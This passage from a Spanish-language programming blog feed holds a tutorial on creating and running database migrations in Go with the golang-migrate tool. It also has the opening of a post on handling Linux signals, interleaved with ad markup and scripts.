.google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-de-migrate&#34;&gt;Instalación de migrate&lt;/h2&gt;&#xA;&lt;p&gt;Para manejar las migraciones vamos a usar la herramienta una herramienta llamada &lt;em&gt;migrate&lt;/em&gt;, escrita en go.&lt;/p&gt;&#xA;&lt;p&gt;Migrate se descarga directo desde su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/golang-migrate/migrate/releases&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sección releases en github&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -L https://github.com/golang-migrate/migrate/releases/download/v4.15.2/migrate.linux-amd64.tar.gz | tar xvz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv migrate.linux-amd64 &lt;span style=&#34;color:#ff5c57&#34;&gt;$GOPATH&lt;/span&gt;/bin/migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Para versiones más nuevas de Go, utiliza &lt;em&gt;go install&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go install -tags &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;sqlite3&amp;#39;&lt;/span&gt; github.com/golang-migrate/migrate/v4/cmd/migrate@latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras esto deberás poder ver la versión que tienes instalada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -version&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4.15.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creacion-de-archivos-de-migracion-con-migrate-en-go&#34;&gt;Creación de archivos de migración con migrate en Go&lt;/h2&gt;&#xA;&lt;p&gt;Para crear el par de archivos de migración, de los que te hable anteriormente, corremos el siguiente comando:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate create -seq -ext&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;.sql -dir&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations &amp;lt;nombre_de_la_migración&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Te explico que hace cada flag:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;seq: indica que será secuencial, para que empiece por 000001 y continue hasta 00000n; el total de migraciones que tengamos.&lt;/li&gt;&#xA;&lt;li&gt;dir: indicará el directorio&lt;/li&gt;&#xA;&lt;li&gt;ext: la extensión del archivo, en este caso sql&lt;/li&gt;&#xA;&lt;li&gt;Al final el nombre que queremos que tenga la migración. Yo usaré create_first_table para este ejemplo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Tras la ejecución del comando, tendrás dos archivos de migración, uno con extensión &lt;em&gt;.up.sql&lt;/em&gt; y el otro con extensión &lt;em&gt;.down.sql&lt;/em&gt; dentro de la carpeta migrations.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;000001_create_first_table.up.sql 000001_create_first_table.down.sql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Estos archivos hay que editarlos de manera manual, y colocar en su interior las sentencias SQL que querramos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;ejemplo-de-migraciones-en-go-con-postgres&#34;&gt;Ejemplo de migraciones en go con postgres&lt;/h3&gt;&#xA;&lt;p&gt;Por ejemplo, para crear una hipotética tabla &lt;em&gt;users&lt;/em&gt; en una base de datos en postgres:&lt;/p&gt;&#xA;&lt;p&gt;Para el archivo up:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;serial&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;50&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y, para revertir lo anterior, está el archivo down:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;users&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuevamente, aprecia como ambas instrucciones SQL son complementarias; una crea una tabla y la otra la elimina. Pero puedes poner más de una instrucción y estas pueden ser lo que quieras, un index, un constraint, una rutina, etc.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ejecutar-migraciones-con-migrate-en-go&#34;&gt;Ejecutar migraciones con migrate en Go&lt;/h2&gt;&#xA;&lt;p&gt;Hasta ahora solo hemos creado los archivos de migraciones, pero no le hemos hecho saber al programa donde está la base de datos.&lt;/p&gt;&#xA;&lt;p&gt;Antes de realizar cualquier cambio en la base de datos necesitaremos indicarle la dirección de acceso, a esta última, en el siguiente formato [motor]://[usuario]:[contraseña]@[dominio]/[base de datos]&lt;/p&gt;&#xA;&lt;p&gt;Y, obviamente, lo más cómodo y seguro será guardar esta dirección en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-printenv-export-lsof-top-ps-kill-curl-systemctl-chown-chroot/&#34;&gt;una variable de entorno&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;BASE_DE_DATOS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=[&lt;/span&gt;motor&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;://&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;usuario&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;contraseña&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;@&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;dominio&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;base de datos&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ya tenemos una base de datos a la cual conectarnos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;aplicar-migraciones&#34;&gt;Aplicar migraciones&lt;/h3&gt;&#xA;&lt;p&gt;Para aplicar todas las migraciones usaremos el comando up. Migrate detectará automáticamente la numeración y ejecutará &lt;em&gt;todas las migraciones up&lt;/em&gt; en orden ascendente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$BASE_DE_DATOS&lt;/span&gt; up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;revetir-migraciones&#34;&gt;Revetir migraciones&lt;/h3&gt;&#xA;&lt;p&gt;Por otro lado, para revertir todas las migraciones usaremos el comando down. Migrate detectará automáticamente la numeración y ejecutará &lt;em&gt;todas las migraciones down&lt;/em&gt; en orden descendente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$BASE_DE_DATOS&lt;/span&gt; down&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ir-a-una-migracion-especifica&#34;&gt;Ir a una migración específica&lt;/h3&gt;&#xA;&lt;p&gt;Mientras que, si queremos ir a una migración en específico, usaremos el comando goto seguido del número de migración al que queremos llevar la base de datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$BASE_DE_DATOS&lt;/span&gt; goto &amp;lt;numero de migración&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Migrate detectará la migración activa y ejecutará &lt;em&gt;las migraciones up or down correspondientes&lt;/em&gt; para llevar la base de datos a ese estado.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-tabla-de-migraciones&#34;&gt;La tabla de migraciones&lt;/h2&gt;&#xA;&lt;p&gt;¿Y cómo sabe la herramienta en que migración se encuentra? Tras cada cambio que efectuemos a la base de datos, la herramienta migrate guardará el estado de nuestra base de datos en una tabla llamada &lt;em&gt;schema_migrations&lt;/em&gt; que luce de la siguiente manera:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/schema_migrations.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/images/schema_migrations.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tabla schema_migrations en postgres&#34; width=&#34;219&#34; height=&#34;71&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Tabla de migraciones donde el estado actual es 1, seleccionado en azul&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;columna-version&#34;&gt;Columna version&lt;/h3&gt;&#xA;&lt;p&gt;Observa como la columna versión guarda el estado de la migración actual. De esta manera migrate registra en que versión de las migraciones se encuentra.&lt;/p&gt;&#xA;&lt;h3 id=&#34;columna-dirty&#34;&gt;Columna dirty&lt;/h3&gt;&#xA;&lt;p&gt;Además, esta tabla también contiene una columna llamada &lt;em&gt;dirty&lt;/em&gt; que índica si hubo algún conflicto en la migración. En este último caso será necesario repararlo manualmente y forzar un nuevo estado en la tabla.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;./migrations -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$BASE_DE_DATOS&lt;/span&gt; force &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;migraciones-a-bases-de-datos-remotas&#34;&gt;Migraciones a bases de datos remotas&lt;/h2&gt;&#xA;&lt;p&gt;La herramienta Migrate también soporta migraciones remotas tales como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Filesystem&lt;/li&gt;&#xA;&lt;li&gt;io/fs&lt;/li&gt;&#xA;&lt;li&gt;Go-Bindata&lt;/li&gt;&#xA;&lt;li&gt;pkger&lt;/li&gt;&#xA;&lt;li&gt;GitHub&lt;/li&gt;&#xA;&lt;li&gt;GitHub Enterprise&lt;/li&gt;&#xA;&lt;li&gt;Bitbucket&lt;/li&gt;&#xA;&lt;li&gt;Gitlab&lt;/li&gt;&#xA;&lt;li&gt;AWS S3&lt;/li&gt;&#xA;&lt;li&gt;Google Cloud Storage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Cada uno de estos endpoints requiere una sintaxis específica. Por ejemplo, el de Amazon S3 luce así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;migrate -source&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;s3://&amp;lt;bucket&amp;gt;/&amp;lt;path&amp;gt;&amp;#34;&lt;/span&gt; -database&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;$BASE_DE_DATOS&lt;/span&gt; up&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto ya sabes lo básico sobre migraciones y probablemente también valores mucho más herramientas y&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt; ORMs que se encargan de esto de manera automática, como Django&lt;/a&gt;&#xA;, Ruby on Rails, South, etc.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En frameworks como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/#su-orm-es-sencillo-y-maravilloso&#34;&gt;Django, las migraciones se crean automáticamente&lt;/a&gt;&#xA;, a partir de los modelos. Sin embargo en lenguajes como go, siempre y cuando no estemos usando un ORM, las migraciones se realizarán de manera manual.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;que-es-una-migracion-de-una-base-de-datos&#34;&gt;¿Qué es una migración de una base de datos?&lt;/h2&gt;&#xA;&lt;p&gt;Una migración es una abstracción para manejar el estado y los cambios que ocurren en una base de datos. En lugar de ejecutar las sentencias SQL una por una de manera manual, automatizamos el proceso escribiendo todo el SQL necesario y corriéndolo de manera automática.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: Manejo de Signals para Cerrar Aplicaciones</title>
      <link>https://coffeebytes.dev/es/go/go-manejo-de-signals-para-cerrar-aplicaciones/</link>
      <pubDate>Thu, 06 Oct 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-manejo-de-signals-para-cerrar-aplicaciones/</guid>
      
      <category>go</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hoy voy a hablar de un tema que suele pasarse por alto en la mayoría de los tutoriales: el manejo del cierre de aplicaciones. ¿A qué me refiero? A esas veces en las que tienes que cerrar una aplicación, pero pueden existir tareas pendientes en ejecución, conexiones abiertas o simplemente quieres dejar un registro, en forma de un log, de que la aplicación fue cerrada.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;senales-o-signals-en-linux&#34;&gt;Señales o Signals en Linux&lt;/h2&gt;&#xA;&lt;p&gt;Como seguramente ya sabes, el kernel de Linux es el que se encarga de &amp;ldquo;prestarle&amp;rdquo; los recursos a las aplicaciones de go (o cualquier otra aplicación) para que se ejecuten.&lt;/p&gt;&#xA;&lt;p&gt;Debido a que linux es el núcleo del sistema, es capaz de pedir de vuelta esos recursos en cualquier momento y cerrar la aplicación.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: 